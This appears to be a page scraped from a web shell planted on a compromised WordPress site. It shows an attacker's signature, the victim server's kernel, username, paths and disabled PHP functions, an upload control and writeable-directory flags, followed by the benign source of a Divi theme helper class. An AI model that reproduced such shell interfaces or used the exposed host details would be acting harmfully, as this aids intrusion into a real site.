Heray-Was-Here
Server : Apache/2
System : Linux v2.lx.to 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : namagri ( 1019)
PHP Version : 8.2.31
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/namagri/public_html/wp-content/themes/Divi/includes/builder/module/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/namagri/public_html/wp-content/themes/Divi/includes/builder/module/helpers/Sizing.php
<?php

/**
 * Helper class that provides necessary functions for managing Sizing option
 *
 * Class ET_Builder_Module_Helper_Sizing
 */
abstract class ET_Builder_Module_Helper_Sizing {
	/**
	 * @var string The prefix string that may be added to field name
	 */
	private $prefix;

	/**
	 * Return raw field name to create the field
	 *
	 * @return string
	 */
	abstract public function get_raw_field();

	public function __construct( $prefix = '' ) {
		$this->prefix = $prefix;
	}

	/**
	 * Returns sizing options fields prefix
	 *
	 * @return string
	 */
	public function get_prefix() {
		return $this->prefix;
	}

	/**
	 * Returns field name of the sizing option
	 *
	 * @return string
	 */
	public function get_field() {
		return $this->get_prefix() . $this->get_raw_field();
	}

	/**
	 * Check if the sizing feature option is enabled
	 *
	 * @return bool
	 */
	public function is_enabled() {
		return true;
	}

	/**
	 * Returns sizing value
	 *
	 * @param array  $props
	 * @param string $default
	 *
	 * @return string
	 */
	public function get_value( array $props, $default = '' ) {
		return (string) et_()->array_get( $props, $this->get_field(), $default );
	}
}

Hry